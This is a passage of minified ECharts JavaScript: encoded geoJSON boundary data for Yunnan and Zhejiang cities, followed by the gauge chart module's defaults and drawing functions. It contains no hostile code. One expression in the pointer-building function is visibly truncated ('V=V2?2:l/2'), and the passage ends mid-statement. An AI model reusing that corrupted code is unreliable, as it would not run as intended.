k¯l¯U@@wğŽW鯁ƒ@¯xÝw¯š¯Jċa¯U¥mLU¤„bÞȤƒbÇLWUwmIUVW¼kbš`U„Vb¯L±ĊÛkƒÿÝKkwƒKţê™UĉþƒÈƒV¯ÞVbUްKVšk²Ý‚mI—ƒmV@kƒm™UkšVxm„¯KXÈķJU¦V°ULWxšL@môƒšb@bkx±LnVUŽVLnkÜWnwlLŃmW@kkJU_ƒV„šWĊ„Þ"],encodeOffsets:[[101408,26770]]}},{type:"Feature",id:"5309",properties:{name:"临沧市",cp:[99.613,24.0546],childNum:8},geometry:{type:"Polygon",coordinates:["@@‚xĢ„l`²X°ŽV„šx@x°Þ°KXašğUњW‚bnIl`X²°b„xl°„„šV@xVxk¦mb„l@xšXV‚ÆzX¤™Æ˜k°„kx@lźêlaX»VUnJVx‚XÈK„aÝȣƒaV£nKV¦°‚Čb°I°™n»ÆÑV¯nWn›™@ÿXÅWWn¹ƒġōƒn»‚ÛU™™aU™VƒUw„w@w°ƒó¥ƒ@ƒz—ƒ±@ř›¯@kUwlk£±aĵޝ™›Uĵ¦±±@bó±VÝ@ó¤ƒw¯I@mńóm±XޝIólƒK@š°Ullb™zkKlln@@ԙºƒUmVk²ôҙx™ŎUVóLƒb„ŽmÈnŽmbnl‚a„x@z„@Ǝ„¦kš"],encodeOffsets:[[101251,24734]]}},{type:"Feature",id:"5334",properties:{name:"迪庆藏族自治州",cp:[99.4592,27.9327],childNum:3},geometry:{type:"Polygon",coordinates:["@@W™Xwƒ™@akk@y›—k°īX¥›Uóķ¯w@n»UaVaUۃ¯ƒmV¼k‚™Þċô@n¯xÛÒm„V‚¯Ô@xƒ‚@šk™wm™Åa@ƒUa‚݁¯VŃyV„a@ÿšn»ÝVmank™mmÞÅôƒ@n£±›ğzÇmU¦™Vm„nÜmbn@°nV@xmzÅ@mºV¦k°ln¤š¼õô„n@xkƃIUxUš@Ťƒ¦VšmVkmkXW¤XzVx@ƚx™¼ƒÞ¯b@lVš™ĸގV„m¼XŽm¦V„ŽÞ@Ǝš¹Vón¥ÆKn„‚KX¯x@èĊȱłXšaÆxnlV@UÛlȻkğV¥„m²ljmÅÞĕƒƛm°„ÆmX¤mznƃŽV¦ÞVVb°bnÞWbnްl@V„È@„‚VĵĊ±@ó„InxÆw„¥@£Þ›W¯ĸ£UƒUK‚ƒk±akkkbmWmÈķ„aÆÇU—ȃÆW@wmknmU¯"],encodeOffsets:[[102702,28401]]}},{type:"Feature",id:"5306",properties:{name:"昭通市",cp:[104.0955,27.6031],childNum:11},geometry:{type:"Polygon",coordinates:["@@mƒnK@wmƒUř¥mšóXǓŏmX@Ž—VƒmL@xţ™nk@mlUšŻÒğŋ@ƒL@mmLkm™š@b™XŎW¼ka¯lÇŹ¯aÇ»™ÝÝ_@m„@@a™@UklwUm@ak@ƒb™UmbmƒbV¯™ĕUƒƒšaVwÅaĉVmý™m¯xUkƒ@k¥VƒUXƒ¤VÈm`@„—ńÇÜ@Ākn‚ĔkƞÆĠ„™Þš‚U„VôƆÞI@ŽUxƦn„l@ĊĊnxUÒ°¦Vb¯WUnWށIml@xn„Ubô¤‚¼ÈxlI„»šKVš„@ÈԂJkšU˱ÆVb@nœ„VÜVUVƒšL„wĠl„kn„Ġ@nx°¥Æ„²mUwƒ@m™mÅUl¯UњÑUm„Lll„Il±š@VkwƒW@w°@U»™kUóI°ƒ„»ĢтL„™š`nUĠ²lm„bôV@n„JUxƦX¦l@š‚ŎUƒV„@lV„KVřV£UaÞU™ƒnW@¯VU@ó™"],encodeOffsets:[[107787,28244]]}},{type:"Feature",id:"5301",properties:{name:"昆明市",cp:[102.9199,25.4663],childNum:11},geometry:{type:"Polygon",coordinates:["@@n@Vk‚VUn²°@xƒ°Vƒ@¯ÆV¼k@WŽ„Þ¯„@„@‚VVU„„Ģċ°k¼V„Ċxœ¤Ōœx°mVkƒÑȏšL‚°„x°Xœ°VmĊLVxU˰bX¦VW@kšȯlkn@„¥lnšƒ@»°Ñ¯VmlLUwVK@ƒV@ka@lmXb„UlVlkÈx@™„LVa„VV™wnƒmm@km™@mœIVaݏ@XƒVUݯU@ƒÝ£k»˜K@aUwkKV_ƒ¥„a@alU@nz°aV„È@@±lÛšk@wVakm@т¥„a„z‚@XxÆW@ÛX™@m@ƒy@aWw@kōĉJlbV„JƒzţÆUwVkmWkým@Ul™U@b¯wVºƒU™VUêšĠƒXUaUbVĊUŽWXUmkK™™WnUUU™V™ƒƒVV™Ý@kk±‚™¯ƒƒLkƒš±WkXlVklƒ@ƒwXbmLƒ›VUIVmk@Ubma@kkaVKUƒ™kmlXLWn™J¯ÒĊ°@zkºlLUŤn@@n›ô@lƁnmKkÈlxVw„@@mÈx˜@n²Uxl¤nbVxUzmJƒÒnš"],encodeOffsets:[[104828,25999]]}},{type:"Feature",id:"5307",properties:{name:"丽江市",cp:[100.448,26.955],childNum:5},geometry:{type:"Polygon",coordinates:["@@l@™„@w°ÓUnƒÜѰw@mČóšÝlU»n°„„VÜUbVbm¼@ްxôĸœVW¦¯Ĭlœ˜@zll@b„šWxXš‚a„X@ÆĠÆaXwl@XaƦn¼˜Jn@mnKW¯È»V¯°ak™VanXVwl@VyUĕVU„bÈīlaUk°ƒk¯lƒ²V˜Ukƛô@ƒ„I@mVwĊa„™ƒVaka„™ÆbUŽVLšaXIWKUw™ƒ„aWÑÅKUaVk°ƒ@Uw„ƒ¯¥›XğÝLkm¯Iǃóѯ»™aƒnUl±UĵÿlóÅIƒaU‚±Ik¼UŽVb¯bWxn°™ÒVbnLlޚ@@`kbmIkŽVn„JmnXl›@Ux™bkn@xóLUxVŽƒKóóŐW™™aÅxƒŽ™wƒ@™nÅm™šƒV™„ƒôX„ƒLlVU¤ƒb¦m¼™Ž@ƒbU‚„zUƂ°ÞVb@„Æbnššx"],encodeOffsets:[[101937,28227]]}},{type:"Feature",id:"5328",properties:{name:"西双版纳傣族自治州",cp:[100.8984,21.8628],childNum:3},geometry:{type:"Polygon",coordinates:["@@l²°ŽnÒlxÞ@„nWl„Lĸ™nbV¤V¦kbVV‚¦na„x°Vôa@„šb@lôXlWUšVXČKlmššU@bšWXXܛ°LÈa°LnU°‚ÞnšÑ„ġ°lƒnbšaƒ¯¯KWƒœó@kmK@UšĉV@k°„VV¹„a@y‚_ċl_nÓlL@anI@ƒóWl£VU—ƒl™kĕl™šKVw„U@™kVƒam¯ÅL@bƒ‚Ýk@Vn„UbÇbÝwÅ@ċ¥¯lk‚¼ÅŽ™Ò°b@¦nlUn@ŽÇV„mƁbWôU@ÝÅōm™¯ƒaU™™mk™WWw—@±ƒ™n¯U™è™a™Lƒ¯mƒL™škwƒl@°mnÈÒ¯šów@V™xƒĀU¤°Įƒ°Xl"],encodeOffsets:[[102376,22579]]}},{type:"Feature",id:"5305",properties:{name:"保山市",cp:[99.0637,24.9884],childNum:5},geometry:{type:"Polygon",coordinates:["@@X°„Il‚@¦ƒŽÈ¼m¼ÞaÞÅl„ÈxV¼šlVôÈÆlLޣȺlkUƒ‚ƒUw„¯UĕVwĊ@n¦mlnVĸIWǰLnƒUwl™šV„n@lnU˜„nJށl±U™¯LVUa°Ý„U„ÇĊýšVŤé„LlxÞL„ĀÜl²ĉ°KUaVƒ™_Źé@klw¯ƒlÅ—šW£ÅyU™W@wƒknal¥Uw@w™Uƒƒk¯ƒw¯aW±k_mJa™XVҙĠWb¯L¯Ý@w™wUƒ¯±Wk_ġƒwƒwōKmb@¤„bk°l˃ô„UJƒšVnÅlťUš¯°VbnbWxX„m„ÞššWUĀ™L™yWzÛKmbUxVKkn݃kŽVšĀċ¤Ux„@ޝŽm@ƒ¦"],encodeOffsets:[[100440,25943]]}},{type:"Feature",id:"5304",properties:{name:"玉溪市",cp:[101.9312,23.8898],childNum:9},geometry:{type:"Polygon",coordinates:["@@l„„L°xXlWxXnlw„a„ţlaÞlÆĬnX„ƒ°wVw„l„@m™nw°VVIXllKšbnnV°lbU„UJ@ÈÇKVb—š@bW„°Vk¦kaWb°škxV¤È¼U°ôI@llblš²š@‚@œó@mm@VţkKl¹@yĉ¯°ÑšIXmWKnkšlV„ULlb@lnbVal@UnVJœU‚„nKWa„x„@lkkUlW²X„™‚l„K°„šl²@lšÞUŽ„U‚„UšVšVVXmššlLVnXWVUĉVaVb„W™ğVéšU„VU¹W»aVa„aW™Xƒ‚_U¥nÇ흙@a™lUnǍUyk@@wW@kbW¦UKÝwUmmƒƒLUnVxUVVlk¯mmnƒmkÇaŤ¯I@ƒl@@aĉw°ĕmU—L±ƒk™ÆéX™ÜÛ@yÈç@™Çġ„Ýķ—XmmÝVՙƒ™lmnkbmWkb@nl@nŽmš¯VxkJmUJ„ml¯™°makVVnVƒ¦™Wƒ—Wmnl@xmn„l‚I„¤„n™xU„ƒVUŽmX@˜ƒb@zl@¦Ýþ"],encodeOffsets:[[103703,24874]]}},{type:"Feature",id:"5333",properties:{name:"怒江傈僳族自治州",cp:[99.1516,26.5594],childNum:4},geometry:{type:"Polygon",coordinates:["@@WyX£lWlnnUU™„¥@ţV™Vw„JlÅ@wƒmö󙻂£kml¯U¥n¹Æ@ny@wmU@¯mnamÛnƒšUV¥ÈnĠy²œm¤„@ÆónݚnmlnbÞU‚¥„aV£kU„KWƒ„óšƒmIU¥ókwVólƒ™»¯™ƒL™ƒk@m™naWKÛwóњw@a±n—@VbUJ›LkaƒÝXĉƒ™„UV`lI@lnXÆƑkKmxÛXmlUKVmU²Klw@a™aó„@n™KXwVKU¯V¥mUnkm¥ĉ@UxV˃°Vx„V„klmޙkKWĀkVWšnl°Lnm@°ŽUxlV@nk¦™JVȰŽVÒ@nX°@ÆlUômlnôƒ²nxmłnVV„¯x@Èm°XblVUšl°@xkXU¤WXX‚W„Xƃ„mkÅJmށw±bƒxUīkKmÅVUĖÝèV„kx@š›lX„lnk¤ƒLkŽ‚Ėk¦‚xUššL°‚¯Ė@LnK@b°xVI„¥Ua°Ñ@»nm@¹‚KŎÞÈWln²n"],encodeOffsets:[[101071,28891]]}},{type:"Feature",id:"5331",properties:{name:"德宏傣族景颇族自治州",cp:[98.1299,24.5874],childNum:5},geometry:{type:"Polygon",coordinates:["@@„¥n@°@ƒVwČ£™ÿUlÞ„lmULVwnaÜLXyšzšKVÿ™XݙnƒWƒXwmaUa°¯V™ŦŽÆkUm„™VIƒ„ókĕl¯ƒa@£nama™@¯m¯œó@óyţbġkÅm±ÛammVkƒLwU`Wk@VƒkUmŃlUUKmbkkUVUwƒ¦óް¼šbn°ô¦lºƒz@xšŽ¯„™@UްnƒšU¤ţU„°VƆ@ÈmlnzÞl°¦Æa„xUxƒLkxWƒn@‚š²ŰšW„™‚@°ÈXl°Llx"],encodeOffsets:[[100440,25943]]}}],UTF8Encoding:!0}}),i("echarts/util/mapData/geoJson/zhe_jiang_geo",[],function(){return{type:"FeatureCollection",features:[{type:"Feature",id:"3311",properties:{name:"丽水市",cp:[119.5642,28.1854],childNum:9},geometry:{type:"Polygon",coordinates:["@@@V‚bVl@Xn‚UXƒKVŽ@¦nxlUXV‚n„KVmnL‚UV@bn¤lLXK˜²„`nnlJXIVJ‚I„Vnn°KnnVll@VLXWV@UkVaVK„zV@„ƒšVVaUK@U»VUl@@WnUUƒ@wVLn@Vwl@XW°LVbn@VU‚@X„l`@XnKVbkl@XVJlUnlV„„xlL@lnXl„@VšUnV°°„@a„UVLXblWVXn@VVUV@Lš¤VLV„U‚VbnalLUUVX_laVa„WVzXKV@@a@KUmImmXama@kU@yVIUK‚aVa@kXK@aWU@VIUmW@kkVm„Uš@VwUa@K@k@Uƒ`@kUKVk@UV@VaUm²Vy@klUUWUkVmUa@_ƒKVaXa›XmƒU@mUlWkaUXƒ@mmkL@w™JƒnVVÅbWKXa™@@I@aƒJUUÇ@V„UL™W@akLmb@K@a™XXw@mƒVmUVkUy@£@aU@@VkUWm@kUKƒXUWU_mW@wkkmJUUkLWWUXƒW@IkJ@k@mW_kӃ_Ul™Lƒm@I@aUa¯m@kƒa¯LUJƒ@mVVxUb™a@LUKkXƒbm@Uak@@a@Um`ƒIUbUJ@nUVW@@LnVV@lšUbVlUX@`š@blXklW„Ušm„Xlm¦U@@V¯bml@š@nUb@llnn@VbX@lV@ŽUVULmU@JVn„bVbkb™VWxU@@nUVk@"],encodeOffsets:[[121546,28992]]}},{type:"Feature",id:"3301",properties:{name:"杭州市",cp:[119.5313,29.8773],childNum:6},geometry:{type:"Polygon",coordinates:["@@X@l„°KXXlW„b@²„`šššb‚I„šX`l@„@bWl@n@VnLUV@V„@°¦@šl@XVlU@š@xVbUb@Vkb@‚@XVJVz™J@Lޚ@VmLUxUJ@LU„Vx‚b„xXUl@VaÈw„b‚aÞa@Vl@XUVx@V@V„LlbnV„al@lb„Vnn‚LnKnL@VlbVJXalIšb@KUU@mVInJ˜„U„Vl@xUšVLnUš@UÞaV@lkV@UanK„L@UlKVUnbÆmn@@nUlVnVJl@@UXU„L@WVIVJVxVLXV@IÜKnbn@V¥V@@I@ƒƒ„y°b@UUwnk°ÆƨVlUšçXm›£aƒÇ™IkVƒ@WV@@aWIUWUIkb@WW@UnƒK@UU@kaWVkƒVIVVnU@UWVUV@VmVkKkWIkVWaULU`UImJUImm—U@ƒƒwmwUV™IUWVkUamaU@mV—kƒb@KVU@aVU@anKULVJ‚U@kÛU™JUV›kkƒVakU@ƒaVwkW@UWkXmWaULUaUK@XƒJUUmƒVU@UVƒUkJ@ImwmKU@k„@lU„W@@akKm„kamIkWl_UwVm@UkaVUUaƒ@UamakbWlkL@aUalU@mkL@U@U™lmK@XkKm@Ýakb@xƒnXbƒ`ƒnUUU@›™U@™wU@@ƒmKkkƒV¯U@lULUbVbUb@V‚a@L™ºÝb@bLmK™x@VUL@bk@mxULWl"],encodeOffsets:[[121185,30184]]}},{type:"Feature",id:"3303",properties:{name:"温州市",cp:[120.498,27.8119],childNum:9},geometry:{type:"Polygon",coordinates:["@@ll@xnXV`VX„WVL@lXnlV@UV@@b@¤VzUlnV„U@nWxšW@b@LnalK@bšXVKUƒÈ@VV„I@b@Jš@WbXLÆaUU„mšI@xlKnn„@VWlbkXV‚@n„VWnœ‚WbUb„L@`VbUnVlVXkV@lUz±‚VnUbU@@VUlVL@l„_@V@l@LVbV@XLV`VÈlxn@lU@aœaVV‚k„@XJ@nl@@LU`°LVb„L°a@a„UVy@anI@a„a‚nV@²wÜJX@VšVV°k„na@WVk„aWwU@m@™ƒkƒaUĕ™ÝšÝŤnÈa„aóI›»@±X™WkUķ@kV±kw™ƒUkWw„™UƒÝ»ÛkɳlImaUaWóXÿǬk‚UnWVmmk™KţnŏÞğl™„UlUx@XWb„V@JkXƒ°mb@VULVxUVk@@LWWk@WIkšƒUkJmUkVmI@yƒ@Ua™kLm‚U@mUUUkaVk™@mK@UlUU@UmKmbUUUJ@n@KVLUL@VkJWXX`mnULWlkL@JVLVb@°kxkU@LVŽ™V@„VLV`UL@VUX"],encodeOffsets:[[122502,28334]]}},{type:"Feature",id:"3302",properties:{name:"宁波市",cp:[121.5967,29.6466],childNum:6},geometry:{type:"Polygon",coordinates:["@@Ċ¦ĸ°‚nXÞVšKškƨƑźÿ°»n„@wô¥ÜbœU°ÆXÞWóçĉݱIUƒÈ¥@U°wÆ»²mm_@aXƒVKÞVlk@akk›̅@£X»VwƏXWa¯aȗb™KƽۃĊ™xƒLóŽk@ƒƒƒ@¯nƒKUL@xkL›ÑkWULUUmJUXVŽU@mŽUX¯@V`mbXbV@@nn¤WXšx@škJ@nVVUVl²UbÝVUVk@Wx@V@„ƒVXzmlaƒL@VlLU`„XUVVVUnl@VbnJlnUVVnƒlUKkbmnn„VxlJnxmbU@UL@KUV™X@xmb@lk@mnVVUš™è"],encodeOffsets:[[123784,30977]]}},{type:"Feature",id:"3309",properties:{name:"舟山市",cp:[122.2559,30.2234],childNum:3},geometry:{type:"Polygon",coordinates:["@@l΢ƒʠþÆVĢLĊƒǬXĊ܄XôV„ÑÆw„ƒlšƏÈóVĭVǓ@ƒĉwɛkmK@ĉXīWaĉUĵÝmƒ¯ĉƒwĉ±±nż¯x@VǦV„²JĊÞôèÝXÅW¯›VÛaó¦@xƒŽmޝ¼ŹĀ"], +encodeOffsets:[[124437,30983]]}},{type:"Feature",id:"3310",properties:{name:"台州市",cp:[121.1353,28.6688],childNum:7},geometry:{type:"Polygon",coordinates:["@@lV„IVWVz@bXJl@Xal@°„nLll@nVxnV„K@UJVbƒ¦°„k`UIWJXnƚ@bUJ„Xl@lb„Wn@UzVV@bVVšmVnnJVXna‚bšKUKnUVVUnVLlKVLXa„Jm£@mU@WanaU_°@VWnV@UVWnIVVVKlXœÒlK@wVK„L°m„@„„l@ô„Kšw„ĉƾůUƒl£@»UƒVk„m@ƅUƒƒaÛIŏmUk@m„w@a™£ƒWk@ţšƒIm±@ankôUlaU™Uw¯ƒōaƒbÇbţm™ÞšÞVĖ„b„l@š@n‚VXxƒbUl@XmbƒŽ¯lUUU™W@ÛI±xU@mƒb@bmJ@bUzƒV@b¯bƒKUa¯KV_@Kk@@mWIƒ@lUU›b@bkVm@kwUÇU_WKU@Ux™@ƒVUnllX@Vn‚J@UXV@bWL@lUbbVLUJ@z‚V@lnbWbnnnJVŽ@L"],encodeOffsets:[[123312,29526]]}},{type:"Feature",id:"3307",properties:{name:"金华市",cp:[120.0037,29.1028],childNum:8},geometry:{type:"Polygon",coordinates:["@@nbVb„@VbUVlb@VUnVxk`lXnJlbnƒlL@bX@Vƒ@klƒV@nLnx@JlI„V‚U@VUVn„VV„I@WVLVbVKXbWnXl@VlXUx„b@ŽlVUbl„œlVUšIÜVnalKX@@bV@@aUUlUƒwUw„@naWW„UVaUUšaVb„LlxXJVk°ƒUƒlkU¥@k„a@LVlXLVlšVWznVn@lxšJl_@WX_@mVa„a@alU@kVVna„KVLlK„b@UUaVašbnUWmXU@k@yVI@ařWmXIVJl_¯ƒ„¥UaVI@ƒLmUUw@mkkmK¯ƒk@Wbk@WI@aUyUXƒJkU@bU@WLUyƒXUbkbW`UVVkKmbUaVUƒUK™£@KVUUUm@UWkXWaUKƒV@b¯ƒ¯mU™V@UkƒmW@kkKƒwUƒmkkVUI@WlkUamL@Wk_Wƒ@UVm@Ua¯KWXk@Uxm@UK@xV„mV@Xk@UVV¼@‚VLUb™Uƒ„U@ƒyULUbVlU@@XlVUVVbƒU@lXXVW@XUVl@@VUVƒÈn@VVU„@lVa@„U„mL@`X@`WL@VUX@lUL@xlx"],encodeOffsets:[[122119,29948]]}},{type:"Feature",id:"3308",properties:{name:"衢州市",cp:[118.6853,28.8666],childNum:5},geometry:{type:"Polygon",coordinates:["@@XkVKnwl@@aVK@UšwnL‚K@aÞaš¹@Kb@UVaUaVaVK@k°V„UllnL@„V@šxV@œšV@VV„m„_Wa„m@wlaÞbn@lL@WnLšk@V@VlK@nkVVb@blKXklakw@wVK@kVW@UXK@_‚W@_nKVƒ@ƒUb@kVƒUUm@„ÇVU@Uk@VU@WUXWW@k„VUaVUkU@WWXUKk@Ukmm¯LmmƒUJUIWJkImmƒ_—±WLkKm£@aVUmKUnƒLmWUkVmw@¥U„LVWm@WUka@UmmLmm@@bUX™@@WUIm@UVUK@UVUUU™VVJmb@b„Xn‚mVƒ¼nnn¦mJUVƒL„V@VW@UzUlVnUbl`UnVl@XU@kl@bmÈUx™Vk@@J@„ƒ¼W@ÅaVVnzmVƒ„@WJk@kWJ@ƒlXbWbXxmVnšlLXb@°lKVXnWšbWV„„X„mbV@Xl‚bšI@Kn@@x@šVLlm"],encodeOffsets:[[121185,30184]]}},{type:"Feature",id:"3306",properties:{name:"绍兴市",cp:[120.564,29.7565],childNum:6},geometry:{type:"Polygon",coordinates:["@@„x@„˜VnnVJnIVJV_VKXblUXJlŽlLUŽUnU@UVVX@ŽmVUUUJl„XUlbV@@V„LVmX@@XlaVJVXXJ@b‚@XU„@lUšJ„È‚bœ¤Ō„JšçV™UUnml@@kna@wšWVU@LVKV@namwkIUwmƒnmlaVL„kUmVUkmmIUak@VmUUVUƒWV_kK@U„K‚bnkWy„U@ƒ@UXwl@VUÞUVak±VUUU@mlI@™™wXWƒIWbUKkLUKVmUUmVVL™LambUWmIUm™nUU@aUUVym@ƒXkak@ƒW@z@lWVXnmV™aUbVb@VƒakLUKƒLmbUU@lkV@bƒbUb@nW`@Xk`™Ikwm@mUXy™UUkWKUk@Kƒb@lV¦klV„¯„UlWIkwƒKUa™bVVUbƒVXXmbƒ@Vx„xkVVV@bU@@aW@kLmb@lVUIVKmL@bUV@bUV@L„a˜lnUV@nbVbUlVXšJVUnx"],encodeOffsets:[[122997,30561]]}},{type:"Feature",id:"3304",properties:{name:"嘉兴市",cp:[120.9155,30.6354],childNum:6},geometry:{type:"Polygon",coordinates:["@@@blIX@@VÜVUnn@l‚k„lKnI°Þl`²LVKVbnbVaVLUVn@W¦@VkVVb„@VI„`@blLnL‚aX@„VVb@U‚@XlVa„@@kVaUKV»U_lWXUƒƒ@alb„k@VllnLVKn@@UVIUw@y°IVVXU@VV@lw„m@wVkƾaœJ‚LkΡƧƒ™l™LÝUmW¯ķÿĉ¥ƒIŋŽWn™èkVƧU¯ÅmlVx@V¯aƒz„Ž@„@JU@U¦m@@šnVmn@V„LV‚"],encodeOffsets:[[123233,31382]]}},{type:"Feature",id:"3305",properties:{name:"湖州市",cp:[119.8608,30.7782],childNum:4},geometry:{type:"Polygon",coordinates:["@@kLlƒkm@VmÛU@UW@kJ@aUƒK@UnmmU@™maÛL@JWUUKUwUIUJ@XƒKWV@Vk@UIUmVk@mm@ÅnmaUVkL@VƒKmLVbU@klU@ÝbV™@mVUKV™@wUkVƒ—ƒmIUJ@nVV@L™akJWbUIka@UmKmLKmmƒUUVk@@nmLX`WXUV@Ž@nUl™kmlU@Ub„„ƒxVVšIlV„Žšnn„@@n˜„UҚ@„°n@@xmb@„VbnV@šš„@b@`@L@L@x@blVklVbnnV@‚aXb°VlU@W„b°U„LXWVUV™„™VwÈwÜ»ĸaĠnUVw²X@V@lVU@wlaUUVm@knUV›"],encodeOffsets:[[123379,31500]]}}],UTF8Encoding:!0}}),i("echarts/chart/gauge",["require","./base","../util/shape/GaugePointer","zrender/shape/Text","zrender/shape/Line","zrender/shape/Rectangle","zrender/shape/Circle","zrender/shape/Sector","../config","../util/ecData","../util/accMath","zrender/tool/util","../chart"],function(e){function t(e,t,n,a,o){i.call(this,e,t,n,a,o),this.refresh(a)}var i=e("./base"),n=e("../util/shape/GaugePointer"),a=e("zrender/shape/Text"),o=e("zrender/shape/Line"),r=e("zrender/shape/Rectangle"),s=e("zrender/shape/Circle"),l=e("zrender/shape/Sector"),h=e("../config");h.gauge={zlevel:0,z:2,center:["50%","50%"],clickable:!0,legendHoverLink:!0,radius:"75%",startAngle:225,endAngle:-45,min:0,max:100,splitNumber:10,axisLine:{show:!0,lineStyle:{color:[[.2,"#228b22"],[.8,"#48b"],[1,"#ff4500"]],width:30}},axisTick:{show:!0,splitNumber:5,length:8,lineStyle:{color:"#eee",width:1,type:"solid"}},axisLabel:{show:!0,textStyle:{color:"auto"}},splitLine:{show:!0,length:30,lineStyle:{color:"#eee",width:2,type:"solid"}},pointer:{show:!0,length:"80%",width:8,color:"auto"},title:{show:!0,offsetCenter:[0,"-40%"],textStyle:{color:"#333",fontSize:15}},detail:{show:!0,backgroundColor:"rgba(0,0,0,0)",borderWidth:0,borderColor:"#ccc",width:100,height:40,offsetCenter:[0,"40%"],textStyle:{color:"auto",fontSize:30}}};var m=e("../util/ecData"),V=e("../util/accMath"),U=e("zrender/tool/util");return t.prototype={type:h.CHART_TYPE_GAUGE,_buildShape:function(){var e=this.series;this._paramsMap={},this.selectedMap={};for(var t=0,i=e.length;i>t;t++)e[t].type===h.CHART_TYPE_GAUGE&&(this.selectedMap[e[t].name]=!0,e[t]=this.reformOption(e[t]),this.legendHoverLink=e[t].legendHoverLink||this.legendHoverLink,this._buildSingleGauge(t),this.buildMark(t));this.addShapeList()},_buildSingleGauge:function(e){var t=this.series[e];this._paramsMap[e]={center:this.parseCenter(this.zr,t.center),radius:this.parseRadius(this.zr,t.radius),startAngle:t.startAngle.toFixed(2)-0,endAngle:t.endAngle.toFixed(2)-0},this._paramsMap[e].totalAngle=this._paramsMap[e].startAngle-this._paramsMap[e].endAngle,this._colorMap(e),this._buildAxisLine(e),this._buildSplitLine(e),this._buildAxisTick(e),this._buildAxisLabel(e),this._buildPointer(e),this._buildTitle(e),this._buildDetail(e)},_buildAxisLine:function(e){var t=this.series[e];if(t.axisLine.show)for(var i,n,a=t.min,o=t.max-a,r=this._paramsMap[e],s=r.center,l=r.startAngle,h=r.totalAngle,V=r.colorArray,U=t.axisLine.lineStyle,d=this.parsePercent(U.width,r.radius[1]),p=r.radius[1],c=p-d,u=l,y=0,g=V.length;g>y;y++)n=l-h*(V[y][0]-a)/o,i=this._getSector(s,c,p,n,u,V[y][1],U,t.zlevel,t.z),u=n,i._animationAdd="r",m.set(i,"seriesIndex",e),m.set(i,"dataIndex",y),this.shapeList.push(i)},_buildSplitLine:function(e){var t=this.series[e];if(t.splitLine.show)for(var i,n,a,r=this._paramsMap[e],s=t.splitNumber,l=t.min,h=t.max-l,m=t.splitLine,V=this.parsePercent(m.length,r.radius[1]),U=m.lineStyle,d=U.color,p=r.center,c=r.startAngle*Math.PI/180,u=r.totalAngle*Math.PI/180,y=r.radius[1],g=y-V,b=0;s>=b;b++)i=c-u/s*b,n=Math.sin(i),a=Math.cos(i),this.shapeList.push(new o({zlevel:t.zlevel,z:t.z+1,hoverable:!1,style:{xStart:p[0]+a*y,yStart:p[1]-n*y,xEnd:p[0]+a*g,yEnd:p[1]-n*g,strokeColor:"auto"===d?this._getColor(e,l+h/s*b):d,lineType:U.type,lineWidth:U.width,shadowColor:U.shadowColor,shadowBlur:U.shadowBlur,shadowOffsetX:U.shadowOffsetX,shadowOffsetY:U.shadowOffsetY}}))},_buildAxisTick:function(e){var t=this.series[e];if(t.axisTick.show)for(var i,n,a,r=this._paramsMap[e],s=t.splitNumber,l=t.min,h=t.max-l,m=t.axisTick,V=m.splitNumber,U=this.parsePercent(m.length,r.radius[1]),d=m.lineStyle,p=d.color,c=r.center,u=r.startAngle*Math.PI/180,y=r.totalAngle*Math.PI/180,g=r.radius[1],b=g-U,f=0,k=s*V;k>=f;f++)f%V!==0&&(i=u-y/k*f,n=Math.sin(i),a=Math.cos(i),this.shapeList.push(new o({zlevel:t.zlevel,z:t.z+1,hoverable:!1,style:{xStart:c[0]+a*g,yStart:c[1]-n*g,xEnd:c[0]+a*b,yEnd:c[1]-n*b,strokeColor:"auto"===p?this._getColor(e,l+h/k*f):p,lineType:d.type,lineWidth:d.width,shadowColor:d.shadowColor,shadowBlur:d.shadowBlur,shadowOffsetX:d.shadowOffsetX,shadowOffsetY:d.shadowOffsetY}})))},_buildAxisLabel:function(e){var t=this.series[e];if(t.axisLabel.show)for(var i,n,o,r,s=t.splitNumber,l=t.min,h=t.max-l,m=t.axisLabel.textStyle,U=this.getFont(m),d=m.color,p=this._paramsMap[e],c=p.center,u=p.startAngle,y=p.totalAngle,g=p.radius[1]-this.parsePercent(t.splitLine.length,p.radius[1])-5,b=0;s>=b;b++)r=V.accAdd(l,V.accMul(V.accDiv(h,s),b)),i=u-y/s*b,n=Math.sin(i*Math.PI/180),o=Math.cos(i*Math.PI/180),i=(i+360)%360,this.shapeList.push(new a({zlevel:t.zlevel,z:t.z+1,hoverable:!1,style:{x:c[0]+o*g,y:c[1]-n*g,color:"auto"===d?this._getColor(e,r):d,text:this._getLabelText(t.axisLabel.formatter,r),textAlign:i>=110&&250>=i?"left":70>=i||i>=290?"right":"center",textBaseline:i>=10&&170>=i?"top":i>=190&&350>=i?"bottom":"middle",textFont:U,shadowColor:m.shadowColor,shadowBlur:m.shadowBlur,shadowOffsetX:m.shadowOffsetX,shadowOffsetY:m.shadowOffsetY}}))},_buildPointer:function(e){var t=this.series[e];if(t.pointer.show){var i=t.max-t.min,a=t.pointer,o=this._paramsMap[e],r=this.parsePercent(a.length,o.radius[1]),l=this.parsePercent(a.width,o.radius[1]),h=o.center,V=this._getValue(e);V=V2?2:l/2,color:"#fff"}});m.pack(p,this.series[e],e,this.series[e].data[0],0,this.series[e].data[0].name,V),this.shapeList.push(p),this.shapeList.push(new s({zlevel:t.zlevel,z:t.z+2,hoverable:!1,style:{x:h[0],y:h[1],r:a.width/2.5,color:"#fff"}}))}},_buildTitle:function(e){var t=this.series[e];if(t.title.show){var i=t.data[0],n=null!=i.name?i.name:"";if(""!==n){var o=t.title,r=o.offsetCenter,s=o.textStyle,l=s.color,h=this._paramsMap[e],m=h.center[0]+this.parsePercent(r[0],h.radius[1]),V=h.center[1]+this.parsePercent(r[1],h.radius[1]);this.shapeList.push(new a({zlevel:t.zlevel,z:t.z+(Math.abs(m-h.center[0])+Math.abs(V-h.center[1])<2*s.fontSize?2:1),hoverable:!1,style:{x:m,y:V,color:"auto"===l?this._getColor(e):l,text:n,textAlign:"center",textFont:this.getFont(s),shadowColor:s.shadowColor,shadowBlur:s.shadowBlur,shadowOffsetX:s.shadowOffsetX,shadowOffsetY:s.shadowOffsetY}}))}}},_buildDetail:function(e){var t=this.series[e];if(t.detail.show){var i=t.detail,n=i.offsetCenter,a=i.backgroundColor,o=i.textStyle,s=o.color,l=this._paramsMap[e],h=this._getValue(e),m=l.center[0]-i.width/2+this.parsePercent(n[0],l.radius[1]),V=l.center[1]+this.parsePercent(n[1],l.radius[1]);this.shapeList.push(new 